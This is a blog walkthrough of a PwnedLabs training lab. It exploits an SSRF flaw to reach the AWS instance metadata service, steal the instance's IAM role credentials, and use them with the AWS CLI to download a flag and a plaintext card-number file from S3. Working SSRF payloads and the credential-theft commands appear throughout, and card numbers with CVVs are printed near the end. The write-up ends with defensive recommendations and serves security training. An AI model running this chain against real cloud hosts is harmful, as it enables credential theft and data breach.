Post

Pwned Labs : SSRF to Pwned Walkthrough

Pwned Labs : SSRF to Pwned

Pwned Labs : SSRF to Pwned Walkthrough

PwnedLabs — SSRF to Pwned | Full Walkthrough

Platform: PwnedLabs
Difficulty: Beginner/Intermediate
Category: Cloud Security | AWS | SSRF | IAM Credential Abuse
Tools Used: Browser, AWS CLI (Kali Linux)
Attacker Machine: Kali Linux
Target: app.huge-logistics.com


Writeup is modified with AI to sound better and avoid gramatical(grammatical) mistake .

🎯 Objective

Investigate the security of a logistics company’s website and its cloud infrastructure. Rumors suggest a data breach. Your goal is to confirm if a compromise is possible and determine its full impact — including accessing sensitive data stored in cloud storage.

🧠 Background & Theory

What is SSRF?

Server-Side Request Forgery (SSRF) is a web vulnerability where an attacker tricks a server into making HTTP requests to an arbitrary location — including internal services that should never be reachable from the internet. Instead of the attacker’s browser making the request, the server itself does it, bypassing firewall rules and network boundaries.

Simple example:

1
2
3
4
5
# Normal usage — server fetches a public image:
GET /status/status.php?name=google.com

# SSRF abuse — server fetches an internal AWS resource:
GET /status/status.php?name=169.254.169.254/latest/meta-data/

What is AWS IMDS (Instance Metadata Service)?

Every AWS EC2 instance has access to a special internal HTTP endpoint at:

1
http://169.254.169.254

This is the Instance Metadata Service (IMDS). It is:

  • A link-local IP (RFC 3927) — only reachable from within the EC2 instance itself
  • Used by the instance to learn about itself: its ID, region, IAM role, networking info, etc.
  • IMDSv1 (the older version) responds to simple GET requests — no authentication required
  • IMDSv2 (newer, more secure) requires a session token obtained via a PUT request first

Why is this dangerous?
If an EC2-hosted application is vulnerable to SSRF, an attacker can make the server query its own IMDS. Since the request originates from the EC2 instance itself, it succeeds — and the attacker can steal the IAM role credentials attached to that instance.

Real-World Precedent: Capital One Breach (2019)

This lab replicates the Capital One data breach — one of the most famous cloud breaches in history. A threat actor exploited an SSRF vulnerability in a Capital One web application hosted on AWS EC2. By querying the IMDS, they obtained IAM role credentials that had overly broad S3 permissions. This resulted in the exposure of over 100 million customers’ personal and financial data across the US and Canada.


🔍 Phase 1: Reconnaissance : Finding the Attack Surface

Step 1: Add Target to /etc/hosts

After starting the lab on PwnedLabs, you receive a target IP and domain. Add it to your hosts file so your machine can resolve the domain:

1
sudo nano /etc/hosts

Add a line like:

1
<TARGET_IP>   app.huge-logistics.com

This makes app.huge-logistics.com resolve to the lab’s target IP instead of going through real DNS.
or connect to the VPN file .


Step 2: Browse the Website & Inspect Page Source

Open a browser and navigate to:

1
http://app.huge-logistics.com


You’re presented with a logistics company website. While browsing, view the page source (Ctrl+U or right-click → View Page Source).

In the source, you’ll spot a reference to an Amazon S3 bucket URL:


1
https://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpg

What this tells us:

  • The website is hosted on (or connected to) AWS
  • There is an S3 bucket named huge-logistics-storage
  • The bucket is serving static web assets
  • The bucket name is now known — we’ll come back to this

💡 S3 bucket names in URLs are a goldmine for attackers. They confirm AWS usage and give a direct target for later privilege abuse.


Step 3: Discover the Vulnerable Endpoint

While exploring the site, you find a status-check page that accepts a name parameter:


1
http://app.huge-logistics.com/status/status.php?name=<input>

This endpoint appears to take a hostname/URL as input and fetch data from it server-side. This is a classic SSRF-vulnerable pattern — user-controlled input is passed directly into a server-side HTTP request with no validation.


💥 Phase 2: Exploiting SSRF to Hit the AWS IMDS

Step 4: Confirm SSRF with IMDS Root Endpoint

You now attempt to redirect the server’s request to the AWS metadata service. Replace the name parameter with the IMDS IP:


1
http://app.huge-logistics.com/status/status.php?name= 169.254.169.254/latest/meta-data/

Note: The leading space before the IP (%20 URL-encoded) is sometimes required to bypass basic filters or to ensure the parameter is correctly parsed.

Response received — a list of IMDS metadata categories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
public-keys/
reservation-id
security-groups
services/
system

What this confirms:

  • The server IS making the request to 169.254.169.254 on your behalf
  • The SSRF vulnerability is confirmed
  • The EC2 instance is using IMDSv1 (no token required — pure GET request worked)
  • The iam/ directory is present — meaning this instance has an IAM role attached

Step 5: Identify the Attached IAM Role

Navigate deeper into the iam/ path to get info about the instance’s IAM profile:


1
http://app.huge-logistics.com/status/status.php?name= 169.254.169.254/latest/meta-data/iam/info

Response:

1
2
3
4
5
6
{
  "Code" : "Success",
  "LastUpdated" : "2026-03-31T02:46:02Z",
  "InstanceProfileArn" : "arn:aws:iam::104506445608:instance-profile/MetapwnedS3Access",
  "InstanceProfileId" : "AIPARQVIRZ4UA4FJH2XW7"
}

Breaking this down:

FieldValueMeaning
CodeSuccessRequest succeeded
InstanceProfileArn...MetapwnedS3AccessThe IAM Instance Profile name attached to this EC2
InstanceProfileIdAIPARQVIRZ4UA4FJH2XW7Unique ID of the profile
AWS Account ID104506445608Extracted from the ARN — the target AWS account number

🎯 Critical finding: The IAM role name is MetapwnedS3Access. This strongly suggests it has S3 permissions — and we already know the bucket name from Phase 1.


Step 6: Steal the IAM Role Credentials

Now we hit the security credentials endpoint directly, using the role name we just discovered:


1
http://app.huge-logistics.com/status/status.php?name= 169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access

Response — full temporary AWS credentials:

1
2
3
4
5
6
7
8
9
{
  "Code" : "Success",
  "LastUpdated" : "2026-03-31T02:46:48Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIARQVIRZ4UN*******",
  "SecretAccessKey" : "LOU9Nck5NqQMYeHuAjZKed78Zj/CXDg*********",
  "Token" : "IQoJb3JpZ2luX2VjEGsaCXVzLWVhc3QtMSJH...[truncated]",
  "Expiration" : "2026-03-31T08:50:27Z"
}

What each field means:

FieldMeaning
AccessKeyIdStarts with ASIA — confirms this is a temporary/STS credential (not a long-term key)
SecretAccessKeyThe secret used to sign API requests
TokenThe session token required because this is a temporary credential
ExpirationThese creds expire at 08:50 UTC — roughly 6 hours of validity (standard for EC2 instance roles)

🔑 We now have valid AWS credentials that belong to the EC2 instance’s IAM role. We can use these from our own attacker machine to impersonate the instance.


🛠️ Phase 3: Configuring AWS CLI with Stolen Credentials

Step 7: Configure the AWS CLI Profile

On your Kali machine, set up a new AWS CLI profile using the stolen credentials. Navigate to your working directory first:

1
2
cd ~/Desktop/PwnedLabs/ssrf-to-pwned
aws configure

Enter the values when prompted:

1
2
3
4
5
AWS Access Key ID [****************LJAG]: ASIARQVIRZ4UNW**************
AWS Secret Access Key [****************qUsu]: LOU9Nck5NqQMYeHuAjZKed78Zj/CXD********
AWS Session Token [None]: IQoJb3JpZ2luX2VjEGsaCXVzLWVhc3QtMSJH...[full token]
Default region name [us-east-1]: us-east-1
Default output format [None]: [press Enter]

⚠️ Important: Unlike standard IAM user credentials, temporary credentials require a Session Token. Forgetting to set the token will cause InvalidClientTokenId errors. aws configure doesn’t prompt for Session Token by default — you must set it manually via:

1
aws configure set aws_session_token <TOKEN_VALUE>

Step 8: Verify Identity (Cloud “whoami”)

Confirm the credentials are working and check what identity you’re now operating as:

1
aws sts get-caller-identity

Output:

1
2
3
4
5
{
    "UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
    "Account": "104506445608",
    "Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}

Breaking this down:

FieldValueMeaning
UserIdAROA... + instance IDYou’re acting as an assumed role session tied to EC2 instance i-0199bf97fb9d996f1
Account104506445608Confirmed target AWS account
Arnassumed-role/MetapwnedS3Access/...You are operating as the MetapwnedS3Access IAM role

You have confirmed AWS access. You are now impersonating the EC2 instance inside the AWS environment.


🪣 Phase 4: Enumerating & Plundering S3

Step 9: Attempt to List All Buckets

Try the broad S3 list command first:

1
aws s3 ls

Output:

1
An error occurred (AccessDenied) when calling the ListBuckets operation: User: arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1 is not authorized to perform: s3:ListAllMyBuckets because no identity-based policy allows the s3:ListAllMyBuckets action

What this means:

  • The IAM role does NOT have s3:ListAllMyBuckets permission
  • This is actually a common misconfiguration pattern — roles are scoped to a specific bucket but still too permissive within it
  • We don’t need list-all access — we already know the bucket name from Phase 1 reconnaissance!

💡 This is why reconnaissance matters. Knowing the bucket name huge-logistics-storage from the page source lets us bypass the ListAllMyBuckets restriction entirely.


Step 10: Access the Known S3 Bucket Directly

List the contents of the specific bucket by name:

1
aws s3 ls huge-logistics-storage

Output:

1
2
                           PRE backup/
                           PRE web/

What we see:

  • web/ — the directory serving the website’s static assets (images, CSS, etc.)
  • backup/ — 🚨 a backup directory should NEVER be in the same public-facing bucket as web assets

Step 11: Download the Flag

1
aws s3 cp s3://huge-logistics-storage/backup/flag.txt .

Output:

1
download: s3://huge-logistics-storage/backup/flag.txt to ./flag.txt
1
cat flag.txt
1
282f08a114b4b4f2d3*************

🏁 Flag captured!


Step 12: Download Sensitive Data — Credit Card Export

While in the backup directory, you notice another file:

1
aws s3 cp s3://huge-logistics-storage/backup/cc-export2.txt .
1
cat cc-export2.txt

Output:

1
2
3
4
5
6
VISA, 4929854977595222, 5/2028, 733
VISA, 4532044427558124, 7/2024, 111
VISA, 4539773096403690, 12/2028, 429
VISA, 4485480371143975, 4/2027, 744
VISA, 4556373594815152, 5/2024, 188
VISA, 4532459642763863, 10/2023, 808

🚨 Live credit card numbers, expiry dates, and CVV codes — stored in plaintext, in an S3 bucket, accessible with stolen EC2 credentials obtained through an SSRF vulnerability. This is catastrophic in a real-world scenario.


🗺️ Full Attack Chain Summary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[1] Recon: Browse website
        ↓
[2] Discover S3 bucket URL in page source
        ↓
[3] Find vulnerable status.php?name= endpoint (SSRF)
        ↓
[4] Inject IMDS IP → 169.254.169.254/latest/meta-data/
        ↓
[5] Discover IAM role: MetapwnedS3Access
        ↓
[6] Steal temporary AWS credentials (AccessKeyId + SecretKey + Token)
        ↓
[7] Configure AWS CLI with stolen creds on attacker machine
        ↓
[8] Verify identity: assumed-role/MetapwnedS3Access
        ↓
[9] Access S3 bucket huge-logistics-storage directly
        ↓
[10] Download flag.txt + cc-export2.txt from /backup/
        ↓
[PWNED] Flag: 282f08a114b4b4f2d**********

🛡️ Defensive Recommendations

1. Enforce IMDSv2 on All EC2 Instances

IMDSv2 requires a session token obtained via a PUT request before any metadata can be accessed. Since SSRF typically only allows GET requests, this breaks the attack entirely.

1
2
3
4
5
# Enforce IMDSv2 on an existing instance:
aws ec2 modify-instance-metadata-options \
  --instance-id <instance-id> \
  --http-tokens required \
  --http-endpoint enabled

Or enforce it at the organization level using an AWS SCP (Service Control Policy).

2. Input Validation on the Vulnerable PHP Endpoint

The status.php script passes user input directly into a server-side HTTP request. It should:

  • Whitelist allowed hostnames/IPs
  • Block requests to 169.254.0.0/16 (link-local range)
  • Use a proper URL parsing library — not raw string concatenation

3. Separate S3 Buckets by Function

The huge-logistics-storage bucket served both the website’s public assets AND sensitive backup/CC data. These must be separate:

  • huge-logistics-web — public assets, least-privilege read-only
  • huge-logistics-backups — private, encrypted, no public access, separate IAM policy

4. Apply Principle of Least Privilege to IAM Roles

The MetapwnedS3Access role had access to read sensitive backup files. It should only have access to the specific S3 prefix it actually needs (e.g., web/images/*).

5. Enable S3 Block Public Access & Encryption

  • Turn on S3 Block Public Access at the account level
  • Enable SSE-S3 or SSE-KMS encryption for sensitive buckets
  • Enable S3 Object Lock for backup data

6. Use AWS CloudTrail for Detection

  • Monitor for unusual AssumeRole activity from unexpected IPs
  • Alert on access to sensitive S3 prefixes like /backup/
  • Set up AWS GuardDuty — it has specific detections for credential theft and anomalous S3 access

📚 Key Concepts Learned

ConceptDescription
SSRFWeb vulnerability that lets attackers make the server issue requests on their behalf
AWS IMDSInternal EC2 endpoint at 169.254.169.254 exposing instance metadata and credentials
IMDSv1 vs IMDSv2v1 is unauthenticated (exploitable via SSRF); v2 requires a PUT-based token
IAM Instance ProfileA way to attach an IAM role to an EC2 instance
Temporary CredentialsShort-lived AWS creds (AccessKey + SecretKey + Token) generated via STS
ASIA* prefixIndicates temporary/STS credentials (vs. AKIA* for long-term IAM user keys)
aws sts get-caller-identityThe AWS equivalent of whoami
Least PrivilegeIAM roles should only grant access to what is absolutely necessary

✅ Lab Mindmap


# Final Thoughts


I hope this blog continues to be helpful in your learning journey!. If you find this blog helpful, I’d love to hear your thoughts ; my inbox is always open for feedback. Please excuse any typos, and feel free to point them out so I can correct them. Thanks for understanding and happy learning!. You can contact me on Linkedin and Twitter
linkdin
Twitter

This post is licensed under CC BY 4.0 by the author.